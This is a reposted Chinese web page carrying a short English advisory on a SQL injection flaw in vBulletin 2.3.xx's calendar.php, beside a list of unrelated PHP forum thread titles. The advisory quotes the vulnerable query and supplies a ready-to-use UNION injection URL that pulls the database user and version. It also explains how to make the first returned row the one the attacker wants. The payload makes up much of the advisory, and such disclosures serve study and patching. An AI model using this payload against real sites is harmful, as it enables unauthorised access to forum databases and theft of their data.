繁體中文当前位置: 首页 > 图文教程 > 网络编程 > PHP > vBulletin Forum 2.3.xx SQL Injection
- PHP
- MYSQL版本大于4.1问题 - PHPchina
- 怎么让用户点击一个连接后,把一个图片另存了 - PHPchina
- 武汉10月15日Phper聚会召集！！！ - PHPchina
- php如果不等待exec执行的程序创建的子进程？ - PHPchina
- 哪位知道DISCUZ处理防SQL注入的代码是哪部分 - PHPchina
- 求教！我实在不知道哪里问题，在线等ing - PHPchina
- 怎样结束用户某一进程 - PHPchina
- 比对用户名密码能不能这样写？ - PHPchina
- 求助：如何在PHP+mysql中实现数据备份? - PHPchina
- 大家看看这个配置对吗 - PHPchina
- 如何禁止require当前文件 - PHPchina
- 无法将回调函数放在类中？ - PHPchina
- 村里 PHP代码高亮是怎么实现的？ - PHPchina
- apache安装后.服务里没有apache2这个服务! - PHPchina
- 请教一个小问题 - PHPchina
- config.php里面是不是应该把多数参数设置为常量而不是变量？ - PHPchina
- 请教高手一个问题 - PHPchina
- 如何让百度收录我的网站 ？？ - PHPchina
- 谁能给个注入的简单语句？ - PHPchina
- 求PHP站内搜索思路 - PHPchina
PHP 中的 vBulletin Forum 2.3.xx SQL Injection
出处:互联网 整理: 软晨网（RuanChen.com） 发布: 2009-09-13 浏览: 148 ::
收藏到网摘: n/a
vBulletin Forum 2.3.xx SQL Injection There exist a sql injection problem in calendar.php.
-------- Cut from line 585 in calendar.php ----------
else if ($action == "edit")
{
$eventinfo = $DB_site->query_first("SELECT allowsmilies,public,userid,
eventdate,event,subject FROM calendar_events WHERE eventid = $eventid");
-----------------------------------------------------
If the MySQL version is greater than 4.00, a UNION attack could be used.
-----------------------------------------
http://ww.xxx.com/bbs/calendar.php?action=edit&eventid=12%20union%20(SELECT%20allowsmilies,public,userid,'0000-0-0',user(),version()%20FROM%20calendar_ev
ents%20WHERE%20eventid%20=%2013)%20order%20by%20eventdate
-----------------------------------------
The query_first function will only return the first row of the query result, so make sure it returns !
the one you want.
评论 (0) All
